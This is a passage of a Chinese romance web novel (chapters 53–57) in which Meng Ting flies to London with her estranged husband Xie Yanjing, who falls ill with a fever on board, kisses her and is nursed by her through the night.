这一场比赛虽说没多累,但也出了不少汗。她鞠起一碰水,准备覆在脸上时,一个轻而柔和的力度绕过她的耳廓,将原本散落在脸前的那一缕碎发别至耳后。 茫然抬眼时,看到镜中那人。 清亮的白炽灯落在他清隽的眉眼上,几缕碎发贴在立体冷硬的眉骨上,半掩着那双点漆般的眼眸。宽阔的肩膀被衬衫包裹着,合适恰当的贴合着肌理,显出劲瘦的身形曲线。 不知道是不是灯光的作用,那双平日里看薄情冷清的眼眸中,透出几分透骨的温柔。 “累不累?” 对上镜中孟汀的眼眸,他轻勾了下唇角,淡声道。 水珠顺着孟汀的指尖滑落下去,垂下略显怔然的眸光之后,她才反应过来似的轻轻甩了甩。 “你……看到了?”细弱的声音中,透着几分不自然的明知故问。 “嗯。” “发挥的不错。” 孟汀觉得这句话后面应该跟上一句,“总算是没丢为师的脸”,但是这样的话不可能从他嘴里说出来,有前半句,她觉得很可以了。 身边有人来往而过,他却还是保持着环抱着她的姿势,让她很不好意思。 擦干手之后,她赶紧转身,准备远离他身侧。 就这么一瞬,瞥见他腕表上的时间,看到那接近转钟的时间,她才反应过来,她是明天早上飞伦敦的机票。 “我要回去了,我明天还要赶飞机。” “知道。” 她理直气壮的合理要求被这道略显松散的声线轻描淡写地打断。 “机票给你升舱了,接送机的司机和酒店也给你安排好了。” 孟汀微怔一下,但没回话,拿出手机确认。 果然,航司发来了提示她升舱的消息,她并发了个链接让她选座。 虽然因为他的擅作主张而生气,但还是无奈的点了进去确认消息。 进去之后她才发现,这趟航班的头等舱竟然只设置了两个。 其中一个已经被选了,被选定的图案标识区别于普通人,是一个金光闪闪的VIP标志。 孟汀总觉得这个标志很眼熟,抬眼,随口问了句:“你明天有什么事吗?” “有。”谢砚京道。 “什么?” “去伦敦。” “……” 第54章 孟云溪坚持要送孟汀到机场。 孟汀一开始是拒绝的,虽然她的新学期刚刚开始,但是国内却是将近期末。这年的旧历新年比较晚,寒假时间也要到二月份才开始。 孟汀担心影响到孟云溪复习,结果她用手语比划:“送不送你,都不影响我考第一。” 听到她这么笃定的话,孟汀先是一怔,忍不住笑了下,同意了。 孟云溪的功课一直很不错,尤其是理工科和数学。孟云溪解释说是她自己不能同别人说话,所以能静下来心好好钻研题目,也因此学的更投入,更深入,更透彻。 她们两个虽然没在一起长大,但是在苦中作乐这方面还挺如出一辙的。 这让孟汀想起自己高中时候那段时间,无论如何数学就是学不懂,最后还是因为那个人…… 脑海中浮现短暂过往,她及时收住了思绪。 谢砚京似乎还有未处理完的公务,所以李叔先把她们两人送了过来。 京市机场是人流量极大的国际机场,航班很多,人来人往,络绎不绝。 孟汀没进VIP休息室,找了个僻静的角落和孟云溪说话。 “你再坚持两个月,等到下学期,手术做了,一切就都好起来了。” 孟云溪点了点头,在手机上给她打字:“我没事,姐,你照顾好你自己,千万不要累到了。” 孟汀轻轻点了下头:“我现在学习和工作都挺顺利的,你不用担心吧,照顾好自己,好吗?” 孟云溪颔首。 孟汀又给她交代了一下剑桥教授嘱托过生活习惯上的事情,差不多已经是今天的第三遍了。 孟云溪却没有丝毫的不耐烦,依然听得很仔细。 大概是她们两人接触生死离别的课题太早,所以和家人在一起的每一瞬间,都让她们觉得弥足珍贵,又如何谈得上厌烦。 聊完孟云溪手术的事情,孟云溪顿了顿,很明显的犹豫了一下,才终于问起她一直想问的问题。 “姐,他……最近没有烦你吧?” 那年出国前,孟汀和孟云溪说过自己即将离婚的事情,孟云溪虽然很震惊,但很支持她的想法。 步入高中之后,她身边有了不少情窦初开的同学,有胆子大点的,直接背着老师光明正大的谈恋爱。 她平日里不太关注这些,只是有次吃早饭时碰到了隔壁班一对学霸情侣吃饭。 虽然她觉得早恋不好,但是这一对给她的感觉不一样。 他们两人一起学习,一起吃饭,连名次也不相上下的一起前进。 他们边吃饭边聊天,丝毫没有别扭的地方,蝉鸣声倾泻而下,阳光透过细密的香樟树,落在女生的眼睛里,她弯起眉眼,望着男生会心一笑。 男生细致又耐心,眼里有欢喜,但更多的是对女生的尊重。大概也是因为这一份尊重,给人的感觉才无比的自然。 一段健康的恋爱大抵就是如此。平等,自由,而不是患得患失,总是为下一秒而焦虑。 绝不是像她姐姐这样,总是陷入无穷无尽的内耗当中…… 连她一个局外人都觉得不解。 孟汀茫然地眨了眨眼,好半天才反应过来x,孟云溪口中的“他”,指的是谢砚京。 孟汀顿下来想了想。 他最近出现的频次确实比之前多了些,但是似乎也称不上有多烦? 甚至大部分时间,还挺有用的。 比起回答这个问题,孟汀只觉得孟云溪小小年纪要操心的事情太多了,便佯装刻薄地戳了一下她的额头:“没有的事儿,把你那颗老母亲般的心安安稳稳地放回去。” 孟云溪躲了一下,还不服气:“我是认真的,我们心理老师说,感情生活也是生活中很重要的一部分。” 孟汀被她这幅认真的样子折服,又问:“你们老师还说什么了。” 孟云溪:“我们老师还说了,谈恋爱的话,一定要谈一段健康的恋爱。” 健康的恋爱。 孟汀没谈过恋爱,对这句话确实没经验,但还是回了句:“嗯,老师说的没错,你以后一定要贯彻落实。” 孟云溪急了:“哎,怎么扯到我身上了,我早都想好了,以后不婚不育,赚大钱走遍全世界,我现在说的是姐姐你,你结束这段关系后,一定要谈健康的恋爱。” 她知道,她姐姐虽然看上去独立,要强,又倔强,但心是最软的,和她记忆中的妈妈很像,她生怕孟汀恋爱脑一发作,将自己弄得遍体鳞伤。 “好好好,我都听进去了。”孟汀轻轻搂了一下她,算是表达决心。 孟云溪这才放心了,她一直盯着不远处的航班号,这会儿已经从第十位跳到了第三位,意味着要尽快检票登机了。 收回视线之后,孟云溪很小声地回了句:“就快好起来了。” 孟汀跟着“嗯”了声,至少现在,一切都在朝着很好的方向发展。 * 孟云溪离开后,孟汀检票进了候机室。 谢砚京是这趟执飞航空公司最高级别的会员,所以孟汀也能享受到最高级别的服务,里面的自助餐,客房,spa中心以及各种各样的娱乐设施,都能免费使用。 她尝了一小块草莓蛋糕,又喝了一杯鲜榨的果蔬汁,又坐在软沙发上玩了会手机,谢砚京却还没有要来的意思。 距离正式的登机时间还有一个多小时,孟汀又等了会儿,接待员小姐姐看她有些困,便询问她要不要单独开一间客房休息。 前一天晚上在会所耽误了些时间,回到家已经将近凌晨,晚上确实没睡好,于是此刻拖着疲惫的步子跟着对方去了房间。 客房有专门的叫醒服务,孟汀没什么压力的入睡了。 谢砚京到的时候,正赶上工作人员来敲门。他到的时候给她打了个电话,没接通之后他就猜到大概发生了什么了,于是他拦下准备敲门的工作人员,给对方要了房卡直接进去。 房间很大,还有一片漂亮明亮的飘窗。 她只拉了一扇纱帘,今天的阳光格外的好,光线透过月白色的纱帘,落在她雪白的脸颊上,温柔的眼眸微闭着,鸦黑色的睫毛在眼睫下落下一片淡淡的阴影。 少女睡得还算沉,头歪在一边,这副不设防的模样,比平日还是乖巧柔软。 只是睡得不太平整,双腿微微蜷缩在一起,双手交叠放在身侧,偌大的一张床,只占很小的一部分位置。 谢砚京沉默着注视了会儿。 她懂一点儿心理学。 这种睡姿在心理学上被归纳为某种没有安全感的象征。外表坚强,内在敏感和丰富,曾经有好几次他回来的晚了,都看到她以这样的姿势睡熟。 每当这时候,他便从她的身后环绕过来,顺着她的弧度抱紧,和她紧紧相贴在一起。 后来有很长一段时间,也不知道是不是为了躲他,她没再这样睡过。 那段时间他还以为她的状况已经好了起来,没想到又被打回了原形。 昨夜她射箭时还油然而生的那种把她养的很好的自豪感,有了消散的迹象,谢砚京几乎是下意识地皱紧了眉头。 距离登机的时间确实不多了,服务生再次过来提醒了一下。 谢砚京沉默地表示了解,但绕至床头位置时,并没有要叫醒孟汀的意思,而是直接将她一把捞起来,打横着抱在了怀里! 孟汀只觉得半梦半醒之间被一个温柔的力度裹挟起来,脸颊贴在他胸膛的位置,笔直而纤细的小腿搭在他的臂弯处。 照理来说,她应该惊觉到惊醒的状态才对,但不知道是不是因为萦绕在身侧的那股冷香太过熟悉,困意竟然战胜了这个念头。 谢砚京就这样将她一路抱上了飞机。 一路上,行人也好,工作人员也罢,大家或惊诧,或疑惑,或咋舌,但他的脸上没有表现出半分的动容。 头等舱的位置也早都被调成了适合睡觉的角度,门被关上的瞬间,里面只剩下了他们两个,安静又舒适。 孟汀翻了个身,给自己调整成一个更舒适的姿势。其实恍惚间她大概知道发生了什么,但是潜意识又告诉她,好好睡一觉吧。 不知道是不是因为在天上的缘故,她做了个很圣洁的梦。 梦中的她,站在一个安静的佛寺当中,微风吹过宏伟殿堂,传来阵阵梵音,缥缈的檀香像是能拂去她周身的所有尘埃似的,让她整个人都有种莫名的轻盈。 她漫步在其中,感受到了一种长久的宁静。 一种被爱和安全包围着的感觉,是她自成长以来,就一直缺失的感觉。 她不敢表露这样的怯懦,就像不敢表露任何一种需要直面内心的情绪一样。 她的成长,就像是一个人唱了一场漫长的独角戏,很多时候,悲欢离合都是她一个人在承受。只是很偶尔的时候,才会感受到有了片刻的归宿,但是现在看来,那种归宿感也是虚妄的。 孟汀在睡梦中翻了个身,现在这个状态,舒服倒是很舒服,但她总觉得哪里好像不太对劲。 随着疲惫感消散,她慢慢睁开了沉睡的眼。 第55章 茫然中,似乎有一道身影从拐角处闪过,但若仔细看时,又没了踪迹。 孟汀坐起来,深呼吸,平静心绪。 飞机已经进入稳定的平流层,舷窗外,云海茫茫,璀璨的夕光照耀在云层之上,给无尽的缥缈之上笼上一层淡淡的金光。 睡梦中的猜想一点点映入现实,她确实是被谢砚京抱着上了飞机,因为她没醒来,所以也情有可原。 但幸好,没有发生别的。 * 盥洗室中,他穿了件白衬衫,黑色西裤,冷白灯光落在那张冷然的脸上,浑身散发出无可掩盖的矜贵气质。 然而那张平日里八风不动的脸,今日却有了点皲裂的迹象,心脏也比平日里跳动的地更有力。 皆因刚刚那一场生死时速。 稍加缓和之后,修长指尖挽起衬衫衣袖,平日里一尘不染的白衬衫,肉眼可见几处褶皱,他鞠起一捧水轻触脸颊。但袖口抬起的瞬间,那股沾染在他身上的花果香味,确实实质性的证据。 他刚刚抱着她睡了。 谢砚京闭着眼睛反思了一下。 越反思,他越不理解刚刚自己的所作所为,即在孟汀即将清醒时,飞快地从她的床上翻下来,推门而出。 明明他们是夫妻,怎么抱着睡一下还跟见鬼似的? 简直不可理喻。 但不理解又有什么用,发生就发生了,谢砚京对这样的事情接受度一向很高,此刻也只是拎着西装,神色如常地从盥洗室里走了出来。 他再次进来时孟汀正在聚精会神地看手机。 显然,她对谢砚京抱着她睡的事一无所知,所以此刻的情绪还算好,最主要的是,她看到了一个很感兴趣的帖子。 平日里平台总会顺着她的浏览记录或者聊天内容精准推送,谁知道今天竟然神奇到顺着她的梦境推送了。 是一条有关寺庙的热帖:聊一聊在佛寺遇到的那些事儿。 这种玄学帖子向来受大家欢迎,距离发布也不过半天,点赞留言收藏就差不多过万了。 孟汀慢慢往下滑,挑了些自己感兴趣的内容看。 【我们这边的师傅说,初一十五两天才比较灵验,而且要在中午十二点以前,我上个月初一起了个大早出发了,许的心愿暂时还没有消息,还在耐心等待】 【我外婆说去寺庙一定要穿的干干净净的,所以每次出发之前都会专门洗个澡,再换套衣服】 【乱入给各位姐妹一个忠告,千万不要相信xx寺门口拉着你算命的阿姨,他们一般都是看碟下菜,我上次心情不好一个人去拜了x拜,出来之后头脑发热被骗了将近五百块/疯狂落泪.jpg】 【心疼楼上那个姐妹,但你没听到门口的广播吗?我去的时候,一个自动播放的大喇叭在哪儿喊,“不要相信门口算命的,都是骗子,都是骗子——”】 【有我一个人的体质不适合去庙里吗?上次拜完佛回来就狠狠摔了一跤,现在走路还不太利索……】 在大家热烈的讨论中,孟汀的目光被一条不算显眼的留言吸引。 那位发言的姐妹在下面po出来一张图,寺庙入口处贴了一张提示的纸条,上面写着:禁止陌生男女一起跪拜。 孟汀没听过这个说法,好奇地点开来看。 底下的姐妹发出和她一样的疑问。 【啊,这是个什么道理啊?我之前从前没有注意过】 【+1楼主快出来解释一下吧,虽然不是这座庙,但在其他地方糊里糊涂和各种陌生人拜过很多次,我不会有什么事吧/崩溃大哭.jpg】 这位姐妹也很快给了答案。 【我们这边有一种说法,说是陌生男女一起拜佛的话,下辈子会成夫妻】 【据说这个庙已经有一千年的历史了,很灵验,我们这里的人很信,因此门口还有个值守的老爷爷,会专门把陌生男女分开】 【虽然有点儿迷信哈,但毕竟是婚姻大事,我觉得谨慎点儿也是应该的】 下面还有不少评论,大家或觉得震惊,或觉得毫无道理,或觉得是封建迷信。 孟汀翻了几条后,彻底顿住。 过往的记忆像是一场风雪肆虐着进入她的思绪。 这座不起眼的小庙,正是她和谢砚京在后街上拜过的那一个。 那个落雪的黄昏,天色将暮未暮,细碎的雪花从檐下飘落,她和谢砚京站在下面吃胡饼,吃完之后,她来了兴致,去身后的小庙中拜了拜。 当时天色太暗,她没有看到外面的那张字条,也不知道有什么寓意。 直到两人拜完之后,她才看到留言中那位负责维持秩序的老人。 直到现在她还记得老人欲言又止的表情,现在想来,老人应该是想提醒他们。 可却慢了一步。 孟汀不动声色地抿了抿唇线,攥着手机的指尖有些发酸。 老人因为吃晚饭慢了一步,她没听说过这个说法,可谢砚京呢? 他这个人向来认真谨慎,她没看到的提示,他不可能看不到,可是既然他看到了,又为什么会…… 混乱的思绪因为谢砚京的到来而被打断。 她茫然地抬了下头,对上男人那双深邃的眼。 注意到孟汀的失神,他落在她身上的眸光稍稍凝滞了一瞬,但很快恢复成往日里的那种打量,淡声道:“醒了?” 孟汀小声“嗯”了下,生怕他看出什么,连忙收回视线。 “你很热?”注视到她脸上那层淡淡的薄红,他低垂着眼眸,轻声问。 她脸皮薄,有点心事都写在脸上,从前就是这样,现在更是如此,不费吹灰之力就能看出来。 孟汀立刻摇了下头:“没。” 她不敢多待,准备去盥洗室透口气,刚跑出去没一会儿,就碰上了进来送餐的空姐。 她没办法,只好又掉头回来。 谢砚京则不经意地皱了下眉。 难道刚刚的事情被发现了? 发现了也好,反正这层纸迟早都要戳破,大不了被骂一顿,以后查漏补缺也好歹有了个方向。 空姐安静而有条理地准备着,这反而让孟汀更加不自在,因为她收拾出来的不是单独的餐位,而是在客舱中间升起了公用的餐桌,将两人的餐食布置在了一起。 这意味着这一餐两人也将共同进行。 伦敦是众所周知的美食荒漠,但他们乘坐的是法国航空。 负责头等舱餐食的都是特聘的米其林三星大厨。 前菜是苹果、栗子和葡萄柚调和酱汁腌渍的鹅肝扇贝蔬菜,主菜是杏仁烤羊排和红酒慢煮牛肉饺子搭配塔吉亚橄榄,还有一份浇了帕尔马干酪的蔬菜沙拉,甜点则是一份热的巧克力油炸榛子条和樱桃桑葚话梅冰淇淋。 搭配的两款起泡酒孟汀每样都尝了一小口,和汽水的味道有些像,但回味时带了点淡淡的辛辣,因此只尝了两口,她就放下了。 其他的餐食她反而吃的还算多。 虽然她早就听闻过法航头等舱飞机餐的豪奢,但是今天体验下来,还是觉得过了,真的太过了。 这种过并不是他的食材多么珍贵,烹饪方法多么高级,而是从各个角度都很契合她的口味。 她不觉得航空公司可以贴心到这种程度,但是从其他细节中,又找不到任何点缀的破绽。 孟汀轻轻放下手中的刀叉,抬头看他一眼。 男人正低垂着眉眼,慢条斯理地切着牛排。 修长指尖握着银质的餐具,刀起叉落都近乎无声,优雅矜贵地让人挑不出一丝错处,和这个世界保持着最完美的关系和距离。 心中被一种沉甸甸的感受压了下来,比起曾经经常性一发不可收拾的胡思乱想,她现在更多的是觉得读不懂他。 刚刚那场对话多少有些无疾而终的意思,她不能探究更多,只是注意到,谢砚京一反常态,喝了不少酒。 若是李叔中途打来的视频电话,那两瓶酒似乎都要见了底。 孟汀趁着他接电话的空挡离开了饭桌,前来送热毛巾的空姐见状,非常及时地将饭桌收拾干净。 李叔大概也是没想到谢砚京会喝这么多。 这一趟出行其实还是有经贸会的任务在,按照一开始的安排,他这半年的行程包括英国,法国,意大利,德国,波兰,罗马尼亚,瑞典,但经过一番协调之后,他将自己的行程全部安排在了英国。 李叔现在只庆幸自己帮忙接通的是谢钰的电话,而不是某个领事馆的电话。 谢钰打电话过来感谢收购案的事情,电话那头的她兴高采烈,激动地说对方公司第二天就把修改好的合同给签了,第三天就把预付款给打了过来,解了她一个燃眉之急,所以来问问谢砚京有什么需要帮忙的地方,和让她偿还这个人情。 谢家的女儿和男生性格基本都是天壤之别,谢钰比谢砚京大几个月,也是快三十岁的年纪,但全然没有他的古板老成。 【李叔说你们到英国了?刚好我让老池送几只龙虾过去,或者孟汀妹妹喜不喜欢珍珠啊,我在中古大街定了好几条澳白珍珠,让她直接取就行】 【这几天气温低,你们要是想去滑雪,我让老迟去安排,场地和雪质绝对有保证】 谢钰知道她能办到的事情,谢砚京也绝对能办到,大事儿上她不能提供什么帮助,只能从小事儿上着手。 谢钰在那边絮絮叨叨好半天,谢砚京在这边漫不经心地听着,也没答应也没拒绝,直到谢钰那边传来好几道催促的声音,像是公司的高管让她开会。 【老弟,我不和你说了,我让老迟加你一下,你到时候记得通过】 老迟,全名迟珩屿,谢钰因为家族联姻而找的便宜老公。 几乎是电话挂断的瞬间,迟珩屿的好友通知就到了。 谢砚京本来无意接受谢钰的好意。 但谢书语曾经说过的话忽然出现在脑海里。 她说:“迟珩屿,一个世界第一恋爱脑的男人。” “所有男人都应该向他学习。” 谢砚京皱着眉头点了好友同意申请—— 作者有话说:老谢:从前的我不屑一顾,后来的我逐帧学习。 第56章 机舱里的夜晚很安静。 从白天到黑夜,再从黑夜到白天,时差让孟汀的生物钟有些混乱。但是拉上窗帘,戴上耳机之后,整个世界安静下来,世界仿佛不受时间制约,只受她的支配。 谢砚京回来的不算晚。 回来时他大概是洗了澡,空中蔓延着一种轻盈的冷香,低沉凛冽,像是雪后松林。 孟汀戴上耳机后基本就沉浸在自己的世界中了,这半年除了有几门结课考试,还有完成毕业论文和答辩,算起来受伤的任务还不少。 课题前一天导师已经发过来了,说下一周要和大家一起开个研讨会。孟汀是闲不住的性子,拿到题目之后就忍不住想要研究,别人坐头等舱是消遣和休闲,再顺便享受一下细致入微的服务,她倒好,直接用眼前的高清大屏看文献。 几个小时后,困意再次来袭,她轻手轻脚去洗漱时,才发现对面的谢砚京似乎已经睡了。 从前,他很少有比她睡得早的时候,要么开会要么批公文要么看书,今天倒是有些稀奇,但孟汀想起他喝的那两瓶起泡酒,又觉得情有可原。 他酒品一向很好x,喝醉了也不会多说什么,今天又早早入睡,想来就更不会发生点什么了,于是她非常放心地去盥洗室里洗漱。 尽管动作依然和之前一样小心翼翼,但心里是轻松的,这种心情莫名让她回忆起上学时结束周五的最后一节课的摆烂感。 洗漱完,孟汀穿着拖鞋慢腾腾地往回走。 那道身影就是那时候覆上来,孟汀吓了一跳,下一秒,手腕被紧紧攥了下。 她以为正在沉睡的男人,此刻正大马金刀地站在她面前。他穿了件深v领的深色睡衣,头发还没有干透,几缕湿发压在冷硬立体的眉骨之上,半遮着那双深邃冷清的眼眸。 他穿了件v领的暗色睡衣,上半身微微塌着,浅淡光线深刻的落下来,锁骨下的肌肉线条若隐若现。不知道是不是喝过酒的缘故,有种不同于白日的慵散淡然,但因为那副天生的好皮囊,身姿高挺,气质过于扎眼。 孟汀只不过反应了那么一瞬,原本握着她手腕的力度忽然一收,下一秒,她整个人都被紧紧地箍在了怀里。 因为洗过了澡,他身上酒精的味道很淡,更多的是后调中回味绵长的果香,和他身上的冷香混合在一起,搅动的周围的空气都浓稠。 孟汀踉跄两步,最终还是抵不住他的力量,和他的肌肤紧紧相贴。 “你干什么……” 仰头间,只见男人的薄唇微阖一下,漆黑眼眸中几乎看不到什么光,压下来的时候,厚重感很强。 他低哑着声音:“汀汀,我很难受。” 温热的气息呼出,那股果香味更加浓郁,孟汀这就知道他应该是真的醉了,不然也不会喊出她的小名。 一般情况下,他只在两种情况下喊她的小名。 一种是醉酒,一种便是深夜里那种极致的欢愉之后。 明知道他是醉酒,孟汀的耳尖还是被炙的有些红,她把这归咎于自己想要奋力挣脱他的挣扎。 “……你放手!” “声音这么大,是想把空姐喊过来?” “这样也不是不行……”这句话像是按钮,让那双深眸中瞬间沾染情。欲。 “……!” 孟汀简直快疯了。 她脸皮薄,这种威胁对她来说简直手拿把掐,她不知道那道门的隔音效果如何,于是非常没骨气地把自己本来就不大的声音又降了一个调。 “你发什么疯,放开我……” “你抱我一下好不好。” 很低沉的一道声音,带了一丝轻微的哑意。 他平日里浑话说惯了,但这一声,有种平日里没有的示弱。 哪里好像不太对。 孟汀微微仰头,只见他平日里的凌厉的轮廓,今日像是被打了一层柔光,从来都尖锐的棱角露出一点被打磨光滑的痕迹,深邃的眉眼半阖着,眼尾处透着一丝不正常的嫣红。 围绕着她的温度也比平日里高了不少。 孟汀抬起手腕,往他额头上一放。 掌心似火班滚烫。 他竟然……发烧了。 谢砚京的体质一向很好,今天怎么会突然发烧? 难怪会说出这样莫名其妙的话。 理智告诉她最好是把他推开,但感情又让她想起曾经她发烧时,他照顾她的场景。 纠结了半分钟后,她终于还是心软了,方才还强硬的语调,也变得轻柔了起来:“你发烧了,我找空姐给你拿药。” 谢砚京却没有放开的意思,抱着她的力度反而更重了些,指尖绕着她纤细单薄的后背,忽然问了一句:“你离开的一年有没有想过我?” 孟汀滞了下。 她体质不太好,经常性的头疼脑热也让她练就出空手测温的本事,就刚刚那么一碰,她就知道他现在的体温绝对下不了38°。 她从前发烧,别说站着了,就是躺着也浑身不舒服,头痛欲裂的只能赶紧睡过去,他怎么还有力气想这种问题。 谢砚京的呼吸越来越沉,注视着她的眼眸,似乎随着体温一起变得滚烫。他声音沉郁,冰凉的唇瓣附在她耳垂畔,几乎将那一小块软肉给衔住,无声地研磨。 “整整一年。” “整整一年,汀汀,你到底有没有想过我?” 低沉的声线,方才还是一字一顿,现在却忽然变得有些急。 很像是完成作业的小朋友,迫不及待地想要老师检查并表扬。 孟汀被他这道眼风盯得有些发怔。 她本就是常年在悬崖旁边行走的人,这样的话,无异于在她身边刮了阵风。 瞳孔下意识地睁大,舌头也有些不受控制。 “想……想过。” “大点声,汀汀。” “想过。”孟汀声调很不自然地抬高了些。 怎么可能没想过。 她现在的声音已经几乎哽咽。 这样的问题根本没有问出来的意义。 无论多么浅显的伤口,都会留下痕迹,更何况她决定斩断的那一刻,两人的联系已经那样深刻。 一开始是种本能,后面渐渐地变成了某种习惯,到底她离开的时间要比和他在一起的时间短了不知多少倍,自然规律也不允许她将这一切忘记。 听到这一声,男人忽然低笑一声。 刚才威胁也好,强迫也罢,似乎顿时在他眼中烟消云散。他修长而匀称的手指,轻柔的抚过她的脸颊,再蔓延到耳尖,最后停留在她下颌的位置。 “好。”他像是终于对她满意,意沉而深邃的眼眸直直地打在她的眼底,低哑的声音,温柔的道出一句不可思议的话。 “既然如此,现在,吻我。” 孟汀完全不懂了。 她下意识吞咽一下,仰着头,难以置信地看着他,平日里柔软至极的一双眸子,里面写满了固执和不解,似乎是因为同情他发着烧,才没有将他一把推开。 而下一秒,一双宽大而有力的手,蓦地扣住她的后脑勺。 宽阔的肩膀霎时压了下来,薄而柔软的唇瓣顷刻间紧贴在了一起,吝啬到都没有给她留呼吸的余地。 谢砚京承认时他自己太贪心。 抱过她还不算,非要吻到才算话。 酥麻的热感毫无规律,又强势地撬开她微闭的齿关,心跳和脉搏一样,跳动的飞快,像是不属于自己。 本就升高了不少的体温,此刻还有攀升的痕迹,宽大的掌心顺着她的后背揉了一下又一下,尽管他克制再克制,心头却还是像一场风暴过境般凌乱不已,那点想要把她整个人都嵌入体内的疯狂,没有丝毫打消的痕迹。 头顶上冷白的灯光落下来,清亮亮地落在他们紧紧勾缠在一起的身影之上。 很难想象他们此刻置身于万尺高空之上,置身于无边无际的云海之上,置于离上帝和神明最接近的天上。 孟汀双脚艰难地移动着,呼吸炽热分明,舌。尖被狠狠搅动,缠绵悱恻的潮热,包裹着她全身,她感受着他体内蓬勃而又滚烫的温度。 双唇早已经变得肿胀,抬头间,看到他那双深眸,还仿佛沉浸在欲。海当中,眼底的疾风暴雨像是能将她整个人都吞没。 这样下去不行。 “喊我的名字。”一道低沉的声音,发出指令。 “什么?” “喊我的名字。” “叫谢砚京。” “我……” “叫。”他平静的重复着,但眼神却完全不平静。 强势,霸道,冷漠,凶悍。 逼视着她,颇有一种不达目的的誓不罢休。 孟汀感到深深地羞耻和耻辱。她逃跑,离开,本来就是想要冲破这层牢笼,可他只是轻描淡写地一句话,就又将她拉了回来。 一瞬间,各种情绪勾缠交织在一起,像是一场随时都会触发的海啸,这样的动荡让她放弃了内心最后一点坚守的抵抗,毫无防备地喊出了那个名字。 “谢砚京。” 轻柔而带着颤抖的一声,很像是山岗上的晚风。 孟汀没想到他会因为这句话真正得到满足,也是这一瞬,他禁锢在她身上的力量终于减轻。 好处是孟汀终于可以从中抽身而出,坏处是,他似乎神志不清地要往后倒去。 倒地还是孟汀的床。 第57章 孟汀最终也只能接受了谢砚京躺在她床上这个事实。 空姐那边有常用的退烧药,送过来的时候,已经用开水化好了,孟汀又去盥洗室给弄了条湿毛巾,给他物理降温。 李叔要提前处理事务,航班比他们要早一趟,孟汀想了想,决定还是给他汇报一下谢砚京的情况。 听到谢砚京发烧,李叔先是一怔,接着发出一声没见过世面的感叹:“先生竟然发烧了?” “真是没想到,他一般不怎么生病的。”x 孟汀斟酌着说:“他晚上多喝了点酒,是不是这个原因?” 这个事情李叔倒是知道,谢砚京的酒量他清楚,按理来说,这两瓶酒对他的影响不会这么大。 李叔沉思了一会儿,想到另外一个可能。 前一天晚上,在宛平公馆,谢砚京曾让他送过一套衣服进去。 他那时还以为他是被泼到了酒或者茶,送去之后,他才知道,原来只是因为他抽了几根烟。 夜色浓稠,冬日的室外庭院空无一人,时不时还会起风,气温接近零度。 谢砚京只穿了件衬衫站在室外,等到被冷风浇透了,才拿着李叔送来的那套衣服去了更衣室。 李叔顿了顿,终于还是没把实情说出来,他知道,谢砚京自己都不会说出口的事情,他更没资格置喙,只能向孟汀保证,说会协调一下接下来的行程和安排,一切以谢砚京的身体为主。 孟汀点点头,又寒暄了几句,才挂挂断电话。 抬眼间,看到侧躺在她位置上的男人。 到底在飞机上,这个位置对孟汀来说绰绰有余,但对谢砚京这样身量的人来说,显出几分勉强。 尤其是她还给空姐要的是一套浅蓝色的寝具。 柔软的颜色覆在男人身上,和他平日里的气质完全不搭。 他双目微阖着,呼吸也由方才的急促变得均匀,清隽的五官掩在灯光下,幽深的轮廓中带着一种难以察觉的疏离。 其实想起他刚刚的所作所为,她还是有气的,明明距离两人上一次接吻没过去多久,他怎么就这样忍不住。 现在是接吻,那下一步呢,又是什么? 他到底要什么时候才能明白过来,他们两人之间的关系已经经不起他这么折腾。她好不容易建立起来的那点体面,已经经不起他像从前那样撕碎了。 孟汀叹了口气,努力将注意力放在给他退烧这件事上。 谢砚京的睡相很好,沉睡时安安静静的,几乎没有多余的动作,但孟汀没想到,睡觉这样安静的一个人,吃药竟然是个问题。 孟汀将温水冲服好的退烧药送到他嘴边时,无论如何也喂不下去,不仅如此,抗拒之中还夹杂着断断续续的呓语。 “吃不下……” “不想喝,别逼我。” 孟汀皱着眉,下意识地问了句:“你怎么了?” 她本以为他是像刚才一样故意闹她,注意到他没有回应之后,才确定他好像不是无理取闹,而是沉睡之后身体最真实的反应。 这般呓语低喃,大概率是做了不好的梦。 这么多年,她几乎没有看过他生病。他一直以来就像是一座供人仰望的大山,生病这种事情在刻板印象中似乎永远轮不到他。 但也是这种长久不生病的人,骤然发起烧,比平常人更加的来势汹汹。 孟汀又试着喂了下,他虽双眸紧闭,但还是有种很明显的拒绝。 可是药总得吃。 她没办法,试着用从前教学生的方法,低声哄了几句:“只有好好吃药,才能退烧。” “我们再试一次,好吗?” 从前的版本其实是这样的—— “只有日复一日的努力,才能顺利把动作完成。” “我们再坚持一下,好吗?” “嗯,很棒,就按老师说的去做。” 她一边放缓语气,一边用温热的手握住他的掌心,也不知道是哪个步骤起了效,这次竟然直接喂进去了。 喝完了药,他的神情似乎也没有刚才那样紧绷,那几句没什么缘由的梦话,短暂消融在了夜色当中,像是从未发生过一样。 整整半宿时间,她都在照顾他。 也不知道折腾了多久,他的体温终于有了下降的趋势,掌心触碰他额头的瞬间,再不似方才那边滚烫,孟汀原本打架的眼皮也终于有了合上的趋势。 起初她只是趴在他的身侧,后来也不知道是怎么了,双手双腿都被一个力度拖了起来,直接把她捞到了被子当中,她像个搁浅的咸鱼,失去了意识,所以也就没有挣扎,整个身子都被柔软的被褥完全裹住。 谢砚京是被中途的一阵波动的气流颠醒的。 这一觉其实也不过四个多小时,但其中有一半的时间,都在恼人的梦境当中。 他也不知道自己为什么会想起那件事。 明明已经过去了那么久。 他揉了揉眉心,因为脑海里竟然还存着这段记忆而有几分恼怒,但垂眸间,看到像只小猫儿一样蜷曲在自己身侧的孟汀,又觉得,这个梦其实做的也算值得。 忘不了的事情就算了吧。高烧褪去的疲惫感还萦绕着身侧,尽管很不想离开,但是为了让她能舒舒服服地睡个觉,谢砚京还是轻手轻脚地下了床,将整个床的位置都让出来给她。 因为时差的原因,这个夜晚显得格外漫长。尽管手边的水已经凉透,但谢砚京还是端过来一饮而尽,一滴未剩。 * 孟汀再次清醒时,距离目的地只剩不到两个小时。 她这边的窗帘一直拉着,但还是有细微的光线从旁边投过来。 茫然地睁开眼,她才发现,本该躺在床上养病的男人此刻却在忙碌着。 看样子,是在收拾昨天换下来的衣物。 不仅仅有他的,似乎还顺手把她的也整理了,其中包括她换下来的衬衣,毛衣,打底裤,甚至还有…… 原本还留了半个在睡梦中的脑子彻底清醒了起来,惺忪的睡眼也完全睁开。 视线中,浅蓝色的柔软布料和那个青筋绷起的手背完全不相称,他却娴熟地像是全然不在意,在孟汀张口时,盥洗室里的水声已经哗啦啦的响起了。 等到她再次回神过来时,他已经拿着手洗好的内衣裤走出来了。 